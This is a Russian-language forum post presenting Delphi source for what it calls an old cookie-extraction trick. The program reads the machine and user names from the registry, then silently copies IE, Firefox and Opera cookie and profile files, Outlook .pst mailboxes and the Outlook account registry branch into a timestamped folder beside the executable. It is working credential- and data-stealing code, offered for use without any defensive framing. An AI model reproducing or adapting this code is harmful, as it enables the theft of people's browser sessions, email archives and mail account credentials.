тогда добавлю старенькую фишку с кукисами
- извлечение куков из IE, Firefox, Opera
Код:
uses
Windows, Winprocs, Wintypes,
Registry,
SysUtils,
ShellApi,
Classes;
const
key_computer = 'SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName';
value_computer = 'ComputerName';
key_user = 'Software\Microsoft\Windows\CurrentVersion\Explorer';
value_user = 'Logon User Name';
key_cookies = 'Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders';
value_cookies = 'Cookies';
value_appdata = 'AppData';
value_loc_appdata = 'Local AppData';
folder_firefox_data = 'Mozilla\Firefox\Profiles';
folder_opera_data = 'Opera\Opera\profile';
folder_msoutlook_data = 'Microsoft\Outlook';
var
app_path, copy_path, computer,
user, cookies, appdata,
loc_appdata: AnsiString;
reg: TRegistry;
function TimeStamp(): string;
begin
DateTimeToString(result, 'yyyy-mm-dd_hh.mm.ss', now)
end;
function CopyDir(const fromDir, toDir: string): Boolean;
var
fos: TSHFileOpStruct;
begin
if DirectoryExists(fromDir) then begin
ZeroMemory(@fos, SizeOf(fos));
with fos do
begin
wFunc := FO_COPY;
fFlags := FOF_FILESONLY;
pFrom := PChar(fromDir + #0);
pTo := PChar(toDir)
end;
Result := (0 = ShFileOperation(fos));
end;
end;
function MakeDirEx(dirname: AnsiString): boolean;
begin
if DirectoryExists(dirname) then
result := true
else
result := CreateDir(dirname);
end;
function WindowsCopyFile(FromFile, ToDir : string) : boolean;
var
F: TShFileOpStruct;
begin
F.Wnd := 0;
F.wFunc := FO_COPY;
FromFile := FromFile+#0;
F.pFrom := pchar(FromFile);
ToDir := ToDir+#0;
F.pTo := pchar(ToDir);
F.fFlags := FOF_ALLOWUNDO or FOF_NOCONFIRMATION;
result := (ShFileOperation(F) = 0);
end;
procedure ReadRegistryEntries;
begin
with TRegistry.Create do begin
RootKey := HKEY_LOCAL_MACHINE;
if OpenKey(key_computer, false) then
computer := ReadString(value_computer);
CloseKey;
RootKey := HKEY_CURRENT_USER;
if OpenKey(key_user, false) then
user := ReadString(value_user);
CloseKey;
RootKey := HKEY_CURRENT_USER;
if OpenKey(key_cookies, false) then
cookies := ReadString(value_cookies);
appdata := ReadString(value_appdata);
loc_appdata := ReadString(value_loc_appdata);
CloseKey;
end;
end;
procedure CopyAllFilesInDirByExt(extenstion, from_dir, to_dir: AnsiString);
procedure CopyMyFile(filename: AnsiString);
var
i: integer;
begin
to_dir := IncludeTrailingBackslash(to_dir);
if FileExists(to_dir + filename) then begin
i := 0;
while DirectoryExists(to_dir + IntToStr(i)) do Inc(i);
MakeDirEx(to_dir + IntToStr(i));
WindowsCopyFile(filename, to_dir + IntToStr(i) + '\');
end else
WindowsCopyFile(filename, to_dir);
end;
procedure CopyMyFiles(StartFolder: AnsiString);
var
SearchRec: TSearchRec;
FindResult: Integer;
begin
StartFolder := IncludeTrailingBackslash(StartFolder);
FindResult := FindFirst(StartFolder + '*.*', faAnyFile, SearchRec);
try
while FindResult = 0 do
with SearchRec do
begin
if (Attr and faDirectory) <> 0 then
begin
if (Name <> '.') and (Name <> '..') then
CopyMyFiles(StartFolder + Name);
end
else
begin
if lowercase(ExtractFileExt(Name)) = extenstion then
CopyMyFile(StartFolder + Name);
end;
FindResult := FindNext(SearchRec);
end;
finally
FindClose(SearchRec);
end;
end;
begin
CopyMyFiles(from_dir);
end;
procedure ExportRegistryBranch(rootsection : Integer; regroot, filename : String);
var
reg: tregistry;
f: textfile;
p: PCHAR;
function dblBackSlash(t:string):string;
var k:longint;
begin
result:=t;
for k:=length(t) downto 1 do
if result[k]='\' then insert('\',result,k);
end;
procedure ProcessBranch(root : string);
var
values,keys: tstringlist;
i,j,k: longint;
s,t: string;
begin
Writeln(f);
case rootsection of
HKEY_CLASSES_ROOT :s:='HKEY_CLASSES_ROOT';
HKEY_CURRENT_USER :s:='HKEY_CURRENT_USER';
HKEY_LOCAL_MACHINE :s:='HKEY_LOCAL_MACHINE';
HKEY_USERS :s:='HKEY_USERS';
HKEY_PERFORMANCE_DATA:s:='HKEY_PERFORMANCE_DATA';
HKEY_CURRENT_CONFIG :s:='HKEY_CURRENT_CONFIG';
HKEY_DYN_DATA :s:='HKEY_DYN_DATA';
end;
Writeln(f,'['+s+'\'+root+']');
reg.OpenKey(root,false);
values:=tstringlist.create;
keys:=tstringlist.create;
reg.getvaluenames (values);
reg.getkeynames (keys);
for i:=0 to values.count-1 do
begin
s:=values[i];
t:=s;
if s='' then s:='@' else s:='"' + s + '"';
write(f,dblbackslash(s)+'=');
Case reg.Getdatatype(t) of
rdString,rdExpandString: Writeln(f, '"' + dblbackslash(reg.readstring(t)+'"'));
rdInteger: Writeln(f,'dword:' + inttohex(reg.readinteger(t),8));
rdBinary: begin
write(f,'hex:');
j:=reg.getdatasize(t);
getmem(p,j);
reg.ReadBinaryData(t,p^,J);
for k:=0 to j-1 do
begin
Write(f,inttohex(byte(p[k]),2));
if k<>j-1 then
begin
write(f,',');
if (k>0) and ((k mod 25)=0)
then writeln(f,'\');
end;
end;
freemem(p,j);
writeln(f);
end;
ELSE writeln(f,'""');
end;
end;
reg.closekey;
values.free;
for i:=0 to keys.count-1 do ProcessBranch(root+'\'+keys[i]);
keys.free;
end;
begin
if regroot[length(regroot)]='\' then
setlength(regroot,length(regroot)-1);
Assignfile(f,filename);
rewrite(f);
IF ioresult<>0 then EXIT;
Writeln(f,'REGEDIT4');
reg:=tregistry.create;
try
reg.rootkey:=rootsection;
ProcessBranch(regroot);
finally
reg.free;
close(f);
end;
end;
procedure ExtractOutlookAccounts(dir_to: AnsiString);
const
key_outlook_account = 'Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts';
begin
dir_to := IncludeTrailingBackslash(dir_to);
ExportRegistryBranch(HKEY_CURRENT_USER, key_outlook_account, dir_to + 'account.reg');
end;
begin
app_path := ExtractFilePath(paramstr(0));
ReadRegistryEntries;
if MakeDirEx(app_path + computer) then begin
copy_path := app_path + computer + '\' + TimeStamp();
if MakeDirEx(copy_path) then begin
if MakeDirEx(copy_path + '\' + user) then begin
if MakeDirEx(copy_path + '\' + user + '\IE' ) then
CopyDir(cookies, copy_path + '\' + user + '\IE');
if MakeDirEx(copy_path + '\' + user + '\Firefox' ) then
CopyAllFilesInDirByExt('.txt', appdata + '\' + folder_firefox_data,
copy_path + '\' + user + '\Firefox');
if MakeDirEx(copy_path + '\' + user + '\Opera' ) then
CopyAllFilesInDirByExt('.dat', appdata + '\' + folder_opera_data,
copy_path + '\' + user + '\Opera');
if MakeDirEx(copy_path + '\' + user + '\MSOutlook' ) then begin
CopyAllFilesInDirByExt('.pst', loc_appdata + '\' + folder_msoutlook_data,
copy_path + '\' + user + '\MSOutlook');
ExtractOutlookAccounts(copy_path + '\' + user + '\MSOutlook')
end;
end;
end;
end;
end.
|